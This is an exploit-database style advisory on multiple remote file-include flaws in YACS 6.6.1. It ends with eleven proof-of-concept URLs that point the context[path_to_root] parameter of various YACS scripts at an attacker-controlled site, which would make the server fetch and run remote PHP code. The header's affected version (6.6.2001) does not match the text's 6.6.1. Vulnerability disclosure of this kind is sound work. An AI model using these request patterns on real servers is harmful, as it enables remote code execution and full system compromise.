YACS Multiple Remote File-Include Vulnerabilities

vendor:

YACS

by:

SecurityFocus

7.5

CVSS

HIGH

Remote File-Include Vulnerabilities

CWE

Product Name: YACS

Affected Version From: 6.6.2001

Affected Version To: 6.6.2001

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

YACS Multiple Remote File-Include Vulnerabilities

YACS is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/19799/info

YACS is prone multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

YACS Version 6.6.1 is affected by this vulnerability; other versions may also be affected.

http://www.example.com/articles/article.php?context[path_to_root]=attacker's site
http://www.example.com/articles/populate.php?context[path_to_root]=attacker's site
http://www.example.com/categories/category.php?context[path_to_root]=attacker's site
http://www.example.com/categories/populate.php?context[path_to_root]=attacker's site
http://www.example.com/comments/populate.php?context[path_to_root]=attacker's site
http://www.example.com/files/file.php?context[path_to_root]=attacker's site
http://www.example.com/sections/section.php?context[path_to_root]=attacker's site
http://www.example.com/sections/populate.php?context[path_to_root]=attacker's site
http://www.example.com/tables/populate.php?context[path_to_root]=attacker's site
http://www.example.com/users/user.php?context[path_to_root]=attacker's site
http://www.example.com/users/populate.php?context[path_to_root]=attacker's site